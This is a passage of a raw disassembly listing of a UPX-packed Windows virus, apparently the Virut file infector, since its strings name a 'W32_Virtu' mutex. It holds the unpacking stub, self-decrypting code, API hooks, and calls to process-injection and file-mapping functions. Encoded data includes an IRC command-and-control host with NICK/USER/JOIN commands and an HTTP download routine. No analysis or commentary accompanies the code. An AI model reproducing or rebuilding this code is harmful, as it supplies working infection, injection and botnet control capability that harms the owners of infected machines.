ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150846B: ; CODE XREF: UPX1:31508462j adc ecx, ecx add ebx, ebx jnz short loc_31508478 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508478: ; CODE XREF: UPX1:3150846Fj adc ecx, ecx jnz short loc_3150849C inc ecx loc_3150847D: ; CODE XREF: UPX1:3150848Cj ; UPX1:31508497j add ebx, ebx jnz short loc_31508488 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508488: ; CODE XREF: UPX1:3150847Fj adc ecx, ecx add ebx, ebx jnb short loc_3150847D jnz short loc_31508499 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3150847D loc_31508499: ; CODE XREF: UPX1:3150848Ej add ecx, 2 loc_3150849C: ; CODE XREF: UPX1:3150847Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_315084BC loc_315084AD: ; CODE XREF: UPX1:315084B4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_315084AD jmp loc_3150841E ; --------------------------------------------------------------------------- align 4 loc_315084BC: ; CODE XREF: UPX1:315084ABj ; UPX1:315084C9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_315084BC add edi, ecx jmp loc_3150841E ; --------------------------------------------------------------------------- loc_315084D2: ; CODE XREF: UPX1:3150845Cj pop esi mov edi, esi mov ecx, 0CAh loc_315084DA: ; CODE XREF: UPX1:315084E1j ; UPX1:315084E6j mov al, [edi] inc edi sub al, 0E8h loc_315084DF: ; CODE XREF: UPX1:31508504j cmp al, 1 ja short loc_315084DA cmp byte ptr [edi], 1 jnz short loc_315084DA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_315084DF lea edi, [esi+6000h] loc_3150850C: ; CODE XREF: UPX1:3150852Ej mov eax, [edi] or eax, eax jz short loc_31508557 mov ebx, [edi+4] lea eax, [eax+esi+8000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+808Ch] xchg eax, ebp loc_31508529: ; CODE XREF: UPX1:3150854Fj mov al, [edi] inc edi or al, al jz short loc_3150850C mov ecx, edi jns short near ptr loc_3150853A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3150853A: ; CODE XREF: UPX1:31508532j mov ecx, 0AEF24857h push ebp call dword ptr [esi+8090h] or eax, eax jz short loc_31508551 mov [ebx], eax add ebx, 4 jmp short loc_31508529 ; --------------------------------------------------------------------------- loc_31508551: ; CODE XREF: UPX1:31508548j call dword ptr [esi+8094h] loc_31508557: ; CODE XREF: UPX1:31508510j popa jmp loc_31501D18 ; --------------------------------------------------------------------------- align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00009000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31509000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dword_3150908C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA dd 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C4D444h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h dd 6Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h dd 402377h, 8D3B41AAh, 402373h, 2BC3EF7Ch, 30FF64C0h, 0B8208964h dd 12345678h, 60000387h, 84000000h, 0 ; --------------------------------------------------------------------------- push eax xor [eax], eax add es:[eax], al push eax ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_31509291 call sub_3150930B jmp loc_315092C5 start endp ; =============== S U B R O U T I N E ======================================= sub_31509291 proc near ; CODE XREF: start+3p push dword ptr fs:0 mov fs:0, esp xor ecx, ecx push ecx push ecx push ecx push 80000000h push ecx push 80000000h push 40h push ecx push 20h push 2000h push ecx push ecx call ds:dword_3150908C ; LoadLibraryA loc_315092C5: ; CODE XREF: start+Dj call sub_31509307 sub edi, 0FFFFFFB2h sub edx, edx xor edx, 243Ch and ebx, 0 add ebx, 4Fh push edi loc_315092E2: ; CODE XREF: sub_31509291+5Dj mov al, [edi] sub ax, bx xchg al, [edi] inc edi dec edx cmp edx, 0 jnz short loc_315092E2 pop edi xchg ebp, fs:0 mov esp, ebp pop dword ptr fs:0 lea ebp, [ebp+8] leave jmp edi sub_31509291 endp ; --------------------------------------------------------------------------- db 2 dup(90h) ; =============== S U B R O U T I N E ======================================= sub_31509307 proc near ; CODE XREF: sub_31509291:loc_315092C5p pop edi jmp edi sub_31509307 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3150930B proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3150930B endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] test dword ptr [eax+242Bh], 80000000h mov [eax+29ACh], ebx mov ebx, [esp+4] jz short loc_31509364 cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_3150935B add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_31509363 ; --------------------------------------------------------------------------- loc_3150935B: ; CODE XREF: UPX2:3150934Cj mov ebx, [eax+2431h] push dword ptr [ebx] loc_31509363: ; CODE XREF: UPX2:31509359j pop ebx loc_31509364: ; CODE XREF: UPX2:31509335j push ebp xchg eax, ebp sub dword ptr [esp+4], 11Eh and ebx, 0FFFFF000h sub ebp, 401006h mov edi, [esp+4] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_3150938B: ; CODE XREF: UPX2:315093A7j cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_315093A1 mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_315093A9 loc_315093A1: ; CODE XREF: UPX2:31509392j sub ebx, 100h jnz short loc_3150938B loc_315093A9: ; CODE XREF: UPX2:3150939Fj mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_315093B7: ; CODE XREF: UPX2:loc_315093DEj lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_315093DE cmp dword ptr [eax+3], 636F7250h jnz short loc_315093DE cmp dword ptr [eax+7], 72646441h jnz short loc_315093DE cmp dword ptr [eax+0Bh], 737365h jz short loc_315093E3 loc_315093DE: ; CODE XREF: UPX2:315093C1j ; UPX2:315093CAj ... loop loc_315093B7 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_315093E3: ; CODE XREF: UPX2:315093DCj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_31509409+2 inc ebx insb outsd jnb short near ptr loc_31509467+2 dec eax popa outsb db 64h insb loc_31509409: ; CODE XREF: UPX2:315093FAp add gs:[ebx-1], dl setalc mov [ebp+40353Ch], eax call near ptr loc_31509425+1 inc ebx jb short near ptr loc_31509480+1 popa jz short near ptr loc_31509480+4 inc ebp jbe short near ptr loc_31509486+1 outsb jz short near ptr loc_31509464+2 loc_31509425: ; CODE XREF: UPX2:31509414p add [ebx-1], dl setalc mov [ebp+403540h], eax call sub_31509441 inc edi db 65h jz short near ptr loc_31509480+4 popa jnb short loc_315094AF inc ebp jb short near ptr loc_315094AF+1 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_31509441 proc near ; CODE XREF: UPX2:3150942Fp ; FUNCTION CHUNK AT 315094EA SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 3150962A SIZE 0000013A BYTES push ebx call esi ; rand mov [ebp+403544h], eax call sub_315094BF test eax, eax jz short loc_31509474 push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_3150946E lea eax, [ebp+4011D2h] loc_31509464: ; CODE XREF: UPX2:31509423j mov dl, [eax-1] loc_31509467: ; CODE XREF: UPX2:31509402j call sub_315094DA jmp short loc_315094EA ; --------------------------------------------------------------------------- loc_3150946E: ; CODE XREF: sub_31509441+1Bj ; sub_31509441+136j ... call dword ptr [ebp+40353Ch] loc_31509474: ; CODE XREF: sub_31509441+10j test dword ptr [ebp+403431h], 80000000h jz short loc_3150949E loc_31509480: ; CODE XREF: UPX2:3150941Aj ; UPX2:3150941Dj ... lea esi, [ebp+403435h] loc_31509486: ; CODE XREF: UPX2:31509420j mov edi, [esp+4] movsb movsd mov ebx, [ebp+4039B2h] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] loc_3150949E: ; CODE XREF: sub_31509441+3Dj pop ebp retn sub_31509441 endp ; --------------------------------------------------------------------------- loc_315094A0: ; CODE XREF: sub_315094BF+2p ; sub_31509441:loc_315096A9p pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_315094AF: ; CODE XREF: UPX2:31509439j ; UPX2:3150943Cj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_315094BF proc near ; CODE XREF: sub_31509441+9p ; UPX2:loc_3150A164p xor ecx, ecx call loc_315094A0 lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_315094BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_315094DA proc near ; CODE XREF: sub_31509441:loc_31509467p ; sub_3150B2AE+25Bp mov dh, dl mov ecx, 225Fh loc_315094E1: ; CODE XREF: sub_315094DA+Cj xor [eax], dl inc eax add dl, dh loop loc_315094E1 retn sub_315094DA endp ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_31509441 loc_315094EA: ; CODE XREF: sub_31509441+2Bj and dword ptr [ebp+401580h], 0 and dword ptr [ebp+401584h], 0 and dword ptr [ebp+401588h], 0 mov eax, [ebp+403431h] xor ecx, ecx push 1 mov cl, 20h pop dword ptr [ebp+40397Eh] loc_31509511: ; CODE XREF: sub_31509441+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add [ebp+40397Eh], edx loop loc_31509511 push edi mov byte ptr [ebp+401303h], 1 mov [ebp+403548h], esi lea esi, [ebp+4015BBh] xor ecx, ecx lea edi, [ebp+403558h] mov cl, 1Eh call sub_315098A4 pop edi call dword ptr [ebp+403594h] shr eax, 1Fh jz loc_3150962A mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+403550h], eax push 69CEh push 0 call dword ptr [ebp+4035C8h] test eax, eax jz loc_3150946E xchg eax, edi lea esi, [ebp+401000h] mov ebp, edi mov ecx, 0A74h sub ebp, 401000h lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_31509441 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+401A3Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+403550h] add esp, 20h test eax, eax jz loc_3150946E xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+403550h] test eax, eax jz loc_3150946E push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+403550h] push 1000Ah call dword ptr [ebp+403550h] call sub_3150961A jmp loc_3150946E ; =============== S U B R O U T I N E ======================================= sub_3150961A proc near ; CODE XREF: UPX2:31509610p ; sub_3150961A+Dj push 1 pop ecx jecxz short locret_31509629 push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_3150961A ; --------------------------------------------------------------------------- locret_31509629: ; CODE XREF: sub_3150961A+3j retn sub_3150961A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_31509441 loc_3150962A: ; CODE XREF: sub_31509441+10Fj cmp dword ptr [ebp+403570h], 0 jz loc_3150946E call near ptr loc_31509641+1 dec esi push esp inc esp dec esp dec esp loc_31509641: ; CODE XREF: sub_31509441+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_3150965E+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_315098A4 loc_3150965E: ; CODE XREF: sub_31509441+209j cmp dword ptr [ebp+4035F8h], 0 jz loc_3150946E mov eax, [ebp+4035D4h] push dword ptr [eax+1] pop dword ptr [ebp+403395h] mov eax, [ebp+4035E8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, [ebp+4035D8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E9h] mov ecx, [ebp+4035DCh] jecxz short loc_315096A9 push dword ptr [ecx+1] pop dword ptr [ebp+4033F6h] loc_315096A9: ; CODE XREF: sub_31509441+25Dj call loc_315094A0 lea edi, [ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_315096EE: ; CODE XREF: sub_31509441+2B0j lodsb stosw loop loc_315096EE push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4035E4h] pop edi pop ecx test edi, edi jz loc_3150946E lea esi, [ebp+401000h] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, 401000h lea eax, [ebp+40144Ch] jmp eax ; END OF FUNCTION CHUNK FOR sub_31509441 ; --------------------------------------------------------------------------- db 8Dh ; db 95h, 0E0h, 18h db 40h ; @ align 2 dw 0FF52h db 95h ; db 9Ch, 35h, 40h db 0 db 0E8h, 16h, 0 db 0 align 2 aLookupprivil_0 db 'LookupPrivilegeValueA',0 dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0FF560065h dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h, 83004035h dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h, 0B9004035h dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h, 7204FE83h dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h, 93DC74C0h dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh dd 56505450h, 53505051h, 356895FFh, 0C0850040h, 0FF0F7459h dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh dd 585858h, 29CEh, 0D65h, 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_315098A4 proc near ; CODE XREF: sub_31509441+100p ; sub_31509441+218p ... push ecx push esi push ebx call dword ptr [ebp+403548h] stosd pop ecx loc_315098AF: ; CODE XREF: sub_315098A4+Ej lodsb test al, al jnz short loc_315098AF loop sub_315098A4 retn sub_315098A4 endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremote_0 db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetcon db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll db 'ADVAPI32.DLL',0 aRegclosekey db 'RegCloseKey',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegsetvalueexa db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_31509C3F proc near ; CODE XREF: UPX2:31509CE6p ; UPX2:31509CF7p ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr [ebp+4035F4h] add esp, 8 retn sub_31509C3F endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr [ebp+4035A4h] test eax, eax jz loc_31509D22 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr [ebp+40353Ch] test edi, edi jz short loc_31509D22 mov ecx, [ebp+401588h] jecxz short loc_31509CDA lea edx, [ebp+401000h] add edx, ecx push edi push ebx call edx loc_31509CDA: ; CODE XREF: UPX2:31509CCCj mov eax, [ebp+4035D4h] lea ecx, [edi+2394h] call sub_31509C3F mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_31509C3F mov eax, [ebp+4035D8h] lea ecx, [edi+23E8h] call sub_31509C3F mov eax, [ebp+4035DCh] test eax, eax jz short loc_31509D22 lea ecx, [edi+23F5h] call sub_31509C3F loc_31509D22: ; CODE XREF: UPX2:31509C8Cj ; UPX2:31509CC4j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr [ebp+40353Ch] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh, 52500040h dd 2420CDh, 0C483002Ah, 85C7660Ch, 401A54h, 85C720CDh dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1A72B58Dh, 0BA8B0040h dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h, 7EA83D7h dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h db 75h, 0F0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_31509E07 proc near ; CODE XREF: sub_3150A672+1Bp ; sub_3150A7EA+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_31509E07 endp ; --------------------------------------------------------------------------- db 55h dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h dd 0B984h, 8EC8100h, 54000002h, 10468h, 9095FF00h, 8B004035h dd 24848DFCh, 104h, 0E8006A50h, 4, 545256h, 8C95FF57h dd 33004035h, 4978DC9h, 51000001h, 51026A51h, 68016Ah dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h dd 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h, 356495FFh dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h dd 4C25D00h, 0A3E8000h, 8B460175h, 4015848Dh, 8D19E300h dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h, 6A51CEh dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh, 858D0000h dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h dd 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh dd 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h, 4035BCh dd 5050C033h, 9E85050h, 44000000h, 6C6E776Fh, 64616Fh dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h dd 40353Ch, 8D80C3F8h, 401577h, 53C3F901h, 5754464Fh, 5C455241h dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch dd 61540072h, 74656772h, 74736F48h, 0FF000200h, 8F7255F0h dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h dd 43494E00h, 796D204Bh, 76697A70h, 550A7270h, 20524553h dd 30323076h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h dd 74726976h, 0E8550A75h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 401DB4h mov byte ptr [ebp+401577h], 0 call dword ptr [ebp+403594h] shr eax, 1Fh jz short loc_3150A121 push 1Eh mov esi, [ebp+403550h] pop ecx loc_3150A0EE: ; CODE XREF: UPX2:loc_3150A11Dj lodsb cmp al, 2Eh jnz short loc_3150A11D cmp word ptr [esi], 1DFFh jnz short loc_3150A11D lea edi, [ebp+403640h] mov esi, [esi+2] push edi movsd movsw lea eax, [ebp+40336Ah] pop dword ptr [ebp+403390h] cli mov [esi-6], eax mov word ptr [esi-2], cs sti mov cl, 1 loc_3150A11D: ; CODE XREF: UPX2:3150A0F1j ; UPX2:3150A0F8j loop loc_3150A0EE jmp short loc_3150A164 ; --------------------------------------------------------------------------- loc_3150A121: ; CODE XREF: UPX2:3150A0E3j lea eax, [ebp+4015B1h] push eax push 0 push 0Eh call dword ptr [ebp+4035A4h] cmp dword ptr [esp+8], 4 jnz short loc_3150A164 call near ptr loc_3150A141+1 push ebx inc esi inc ebx loc_3150A141: ; CODE XREF: UPX2:3150A139p add bh, bh xchg eax, ebp mov ds:48E80040h, dh cld ; --------------------------------------------------------------------------- db 0FFh dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h dd 0FFFFFC31h ; --------------------------------------------------------------------------- loc_3150A164: ; CODE XREF: UPX2:3150A11Fj ; UPX2:3150A137j call sub_315094BF dec dword ptr [ebp+401303h] call near ptr loc_3150A17E+1 push ebp push ebx inc ebp push edx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3150A17E: ; CODE XREF: UPX2:3150A16Fp add bh, bh xchg eax, ebp pushf xor eax, 0AE80040h ; --------------------------------------------------------------------------- db 0 dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh, 66A5200h dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h dd 40362C95h, 4D85C600h, 4038h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh dd 40361Ch, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h dd 69BD83E2h, 401Dh, 858D2975h, 401D6Dh, 895FF50h, 85004036h dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h, 8BEAEB01h dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh dd 0BD800040h, 401577h, 682A7401h, 7530h, 